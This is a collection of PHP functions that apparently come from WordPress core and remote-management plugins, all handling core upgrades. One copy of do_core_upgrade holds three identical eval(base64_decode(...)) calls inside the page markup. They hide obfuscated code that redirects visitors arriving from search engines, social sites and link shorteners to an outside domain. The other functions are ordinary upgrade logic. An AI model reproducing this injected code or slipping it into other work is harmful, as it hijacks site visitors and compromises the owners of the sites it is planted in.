/** * Upgrade WordPress core display. * * @since 2.7 * * @return null */ function do_core_upgrade( $reinstall = false ) { global $wp_filesystem; if ( $reinstall ) $url = 'update-core.php?action=do-core-reinstall'; else $url = 'update-core.php?action=do-core-upgrade'; $url = wp_nonce_url($url, 'upgrade-core'); if ( false === ($credentials = request_filesystem_credentials($url, '', false, ABSPATH)) ) return; $version = isset( $_POST['version'] )? $_POST['version'] : false; $locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US'; $update = find_core_update( $version, $locale ); if ( !$update ) return; if ( ! WP_Filesystem($credentials, ABSPATH) ) { request_filesystem_credentials($url, '', true, ABSPATH); //Failed to connect, Error and request again return; } ?> <div class="wrap"> <?php screen_icon(); ?> <h2><?php _e('Upgrade WordPress'); ?></h2> <?php if ( $wp_filesystem->errors->get_error_code() ) { foreach ( $wp_filesystem->errors->get_error_messages() as $message ) show_message($message); echo '</div>'; return; } if ( $reinstall ) $update->response = 'reinstall'; $result = wp_update_core($update, 'show_message'); if ( is_wp_error($result) ) { show_message($result); if ('up_to_date' != $result->get_error_code() ) show_message( __('Installation Failed') ); } else { show_message( __('WordPress upgraded successfully') ); } echo '</div>'; }
/** * Upgrade WordPress core display. * * @since 2.7 * * @return null */ function do_core_upgrade($reinstall = false) { global $wp_filesystem; if ($reinstall) { $url = 'update-core.php?action=do-core-reinstall'; } else { $url = 'update-core.php?action=do-core-upgrade'; } $url = wp_nonce_url($url, 'upgrade-core'); if (false === ($credentials = request_filesystem_credentials($url, '', false, ABSPATH))) { return; } $version = isset($_POST['version']) ? $_POST['version'] : false; $locale = isset($_POST['locale']) ? $_POST['locale'] : 'en_US'; $update = find_core_update($version, $locale); if (!$update) { return; } if (!WP_Filesystem($credentials, ABSPATH)) { request_filesystem_credentials($url, '', true, ABSPATH); //Failed to connect, Error and request again return; } ?> <div class="wrap"> <?php screen_icon('tools'); ?> <h2><?php _e('Update WordPress'); ?> </h2> <?php if ($wp_filesystem->errors->get_error_code()) { foreach ($wp_filesystem->errors->get_error_messages() as $message) { show_message($message); } echo '</div>'; return; } if ($reinstall) { $update->response = 'reinstall'; } $result = wp_update_core($update, 'show_message'); if (is_wp_error($result)) { show_message($result); if ('up_to_date' != $result->get_error_code()) { show_message(__('Installation Failed')); } echo '</div>'; return; } show_message(__('WordPress updated successfully')); show_message('<span class="hide-if-no-js">' . sprintf(__('Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%s">here</a>.'), $result, esc_url(self_admin_url('about.php?updated'))) . '</span>'); show_message('<span class="hide-if-js">' . sprintf(__('Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.'), $result, esc_url(self_admin_url('about.php?updated'))) . '</span>'); ?> </div> <script type="text/javascript"> window.location = '<?php echo self_admin_url('about.php?updated'); ?> '; </script> <?php }
/** * Upgrade WordPress core display. * * @since 2.7 * * @return null */ function do_core_upgrade($reinstall = false) { global $wp_filesystem; if ($reinstall) { $url = 'update-core.php?action=do-core-reinstall'; } else { $url = 'update-core.php?action=do-core-upgrade'; } $url = wp_nonce_url($url, 'upgrade-core'); if (false === ($credentials = request_filesystem_credentials($url, '', false, ABSPATH))) { return; } $version = isset($_POST['version']) ? $_POST['version'] : false; $locale = isset($_POST['locale']) ? $_POST['locale'] : 'en_US'; $update = find_core_update($version, $locale); if (!$update) { return; } if (!WP_Filesystem($credentials, ABSPATH)) { request_filesystem_credentials($url, '', true, ABSPATH); //Failed to connect, Error and request again return; } ?> <div class="wrap"> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); screen_icon(); ?> <h2><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('Upgrade WordPress'); ?> </h2> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); if ($wp_filesystem->errors->get_error_code()) { foreach ($wp_filesystem->errors->get_error_messages() as $message) { show_message($message); } echo '</div>'; return; } if ($reinstall) { $update->response = 'reinstall'; } $result = wp_update_core($update, 'show_message'); if (is_wp_error($result)) { show_message($result); if ('up_to_date' != $result->get_error_code()) { show_message(__('Installation Failed')); } } else { show_message(__('WordPress upgraded successfully')); } echo '</div>'; }
/** * Upgrades WordPress locally */ public function upgrade_core($current) { ob_start(); if (file_exists(ABSPATH . '/wp-admin/includes/update.php')) { include_once ABSPATH . '/wp-admin/includes/update.php'; } @wp_version_check(); $current_update = false; ob_end_flush(); ob_end_clean(); $core = $this->mmb_get_transient('update_core'); if (isset($core->updates) && !empty($core->updates)) { $updates = $core->updates[0]; $updated = $core->updates[0]; if (!isset($updated->response) || $updated->response == 'latest') { return array('upgraded' => ' updated'); } if ($updated->response == "development" && $current['response'] == "upgrade") { return array('error' => '<font color="#900">Unexpected error. Please upgrade manually.</font>'); } else { if ($updated->response == $current['response'] || $updated->response == "upgrade" && $current['response'] == "development") { if ($updated->locale != $current['locale']) { foreach ($updates as $update) { if ($update->locale == $current['locale']) { $current_update = $update; break; } } if ($current_update == false) { return array('error' => ' Localization mismatch. Try again.'); } } else { $current_update = $updated; } } else { return array('error' => ' Transient mismatch. Try again.'); } } } else { return array('error' => ' Refresh transient failed. Try again.'); } if ($current_update != false) { global $wp_filesystem, $wp_version; if (version_compare($wp_version, '3.1.9', '>')) { if (!class_exists('Core_Upgrader')) { include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } /** @handled class */ $core = new Core_Upgrader(mwp_container()->getUpdaterSkin()); $result = $core->upgrade($current_update); $this->mmb_maintenance_mode(false); if (is_wp_error($result)) { return array('error' => $this->mmb_get_error($result)); } else { return array('upgraded' => ' updated'); } } else { if (!class_exists('WP_Upgrader')) { include_once ABSPATH . 'wp-admin/includes/update.php'; if (function_exists('wp_update_core')) { $result = wp_update_core($current_update); if (is_wp_error($result)) { return array('error' => $this->mmb_get_error($result)); } else { return array('upgraded' => ' updated'); } } } if (class_exists('WP_Upgrader')) { /** @handled class */ $upgrader_skin = new WP_Upgrader_Skin(); $upgrader_skin->done_header = true; /** @handled class */ $upgrader = new WP_Upgrader($upgrader_skin); // Is an update available? if (!isset($current_update->response) || $current_update->response == 'latest') { return array('upgraded' => ' updated'); } $res = $upgrader->fs_connect(array(ABSPATH, WP_CONTENT_DIR)); if (is_wp_error($res)) { return array('error' => $this->mmb_get_error($res)); } $wp_dir = trailingslashit($wp_filesystem->abspath()); $core_package = false; if (isset($current_update->package) && !empty($current_update->package)) { $core_package = $current_update->package; } elseif (isset($current_update->packages->full) && !empty($current_update->packages->full)) { $core_package = $current_update->packages->full; } $download = $upgrader->download_package($core_package); if (is_wp_error($download)) { return array('error' => $this->mmb_get_error($download)); } $working_dir = $upgrader->unpack_package($download); if (is_wp_error($working_dir)) { return array('error' => $this->mmb_get_error($working_dir)); } if (!$wp_filesystem->copy($working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true)) { $wp_filesystem->delete($working_dir, true); return array('error' => 'Unable to move update files.'); } $wp_filesystem->chmod($wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE); require ABSPATH . 'wp-admin/includes/update-core.php'; $update_core = update_core($working_dir, $wp_dir); ob_end_clean(); $this->mmb_maintenance_mode(false); if (is_wp_error($update_core)) { return array('error' => $this->mmb_get_error($update_core)); } ob_end_flush(); return array('upgraded' => 'updated'); } else { return array('error' => 'failed'); } } } else { return array('error' => 'failed'); } }
function upgrade_core($current, $userid) { global $iwp_activities_log_post_type, $iwp_mmb_activities_log; ob_start(); if (!function_exists('wp_version_check') || !function_exists('get_core_checksums')) { include_once ABSPATH . '/wp-admin/includes/update.php'; } @wp_version_check(); $current_update = false; ob_end_flush(); ob_end_clean(); $core = $this->iwp_mmb_get_transient('update_core'); if (isset($core->updates) && !empty($core->updates)) { $updates = $core->updates[0]; $updated = $core->updates[0]; if (!isset($updated->response) || $updated->response == 'latest') { return array('upgraded' => 'updated'); } if ($updated->response == "development" && $current->response == "upgrade") { return array('error' => '<font color="#900">Unexpected error. Please upgrade manually.</font>', 'error_code' => 'unexpected_error_please_upgrade_manually'); } else { if ($updated->response == $current->response || $updated->response == "upgrade" && $current->response == "development") { if ($updated->locale != $current->locale) { foreach ($updates as $update) { if ($update->locale == $current->locale) { $current_update = $update; break; } } if ($current_update == false) { return array('error' => ' Localization mismatch. Try again.', 'error_code' => 'localization_mismatch'); } } else { $current_update = $updated; } } else { return array('error' => ' Transient mismatch. Try again.', 'error_code' => 'transient_mismatch'); } } } else { return array('error' => ' Refresh transient failed. Try again.', 'error_code' => 'refresh_transient_failed'); } if ($current_update != false) { global $iwp_mmb_wp_version, $wp_filesystem, $wp_version; if (version_compare($wp_version, '3.1.9', '>')) { if (!class_exists('Core_Upgrader')) { include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $core = new Core_Upgrader(); $result = $core->upgrade($current_update); $this->iwp_mmb_maintenance_mode(false); if (is_wp_error($result)) { return array('error' => $this->iwp_mmb_get_error($result), 'error_code' => 'maintenance_mode_upgrade_core'); } else { $iwp_mmb_activities_log->iwp_mmb_save_iwp_activities('core', 'update', $iwp_activities_log_post_type, $current, $userid); return array('upgraded' => 'updated'); } } else { if (!class_exists('WP_Upgrader')) { include_once ABSPATH . 'wp-admin/includes/update.php'; if (function_exists('wp_update_core')) { $result = wp_update_core($current_update); if (is_wp_error($result)) { return array('error' => $this->iwp_mmb_get_error($result), 'error_code' => 'wp_update_core_upgrade_core'); } else { $iwp_mmb_activities_log->iwp_mmb_save_iwp_activities('core', 'update', $iwp_activities_log_post_type, $current, $userid); return array('upgraded' => 'updated'); } } } if (class_exists('WP_Upgrader')) { $upgrader_skin = new WP_Upgrader_Skin(); $upgrader_skin->done_header = true; $upgrader = new WP_Upgrader($upgrader_skin); // Is an update available? if (!isset($current_update->response) || $current_update->response == 'latest') { return array('upgraded' => 'updated'); } $res = $upgrader->fs_connect(array(ABSPATH, WP_CONTENT_DIR)); if (is_wp_error($res)) { return array('error' => $this->iwp_mmb_get_error($res), 'error_code' => 'upgrade_core_wp_error_res'); } $wp_dir = trailingslashit($wp_filesystem->abspath()); $core_package = false; if (isset($current_update->package) && !empty($current_update->package)) { $core_package = $current_update->package; } elseif (isset($current_update->packages->full) && !empty($current_update->packages->full)) { $core_package = $current_update->packages->full; } $download = $upgrader->download_package($core_package); if (is_wp_error($download)) { return array('error' => $this->iwp_mmb_get_error($download), 'error_code' => 'download_upgrade_core'); } $working_dir = $upgrader->unpack_package($download); if (is_wp_error($working_dir)) { return array('error' => $this->iwp_mmb_get_error($working_dir), 'error_code' => 'working_dir_upgrade_core'); } if (!$wp_filesystem->copy($working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true)) { $wp_filesystem->delete($working_dir, true); return array('error' => 'Unable to move update files.', 'error_code' => 'unable_to_move_update_files'); } $wp_filesystem->chmod($wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE); require ABSPATH . 'wp-admin/includes/update-core.php'; $update_core = update_core($working_dir, $wp_dir); ob_end_clean(); $this->iwp_mmb_maintenance_mode(false); if (is_wp_error($update_core)) { return array('error' => $this->iwp_mmb_get_error($update_core), 'error_code' => 'upgrade_core_wp_error'); } ob_end_flush(); $iwp_mmb_activities_log->iwp_mmb_save_iwp_activities('core', 'update', $iwp_activities_log_post_type, $current, $userid); return array('upgraded' => 'updated'); } else { return array('error' => 'failed', 'error_code' => 'failed_WP_Upgrader_class_not_exists'); } } } else { return array('error' => 'failed', 'error_code' => 'failed_current_update_false'); } }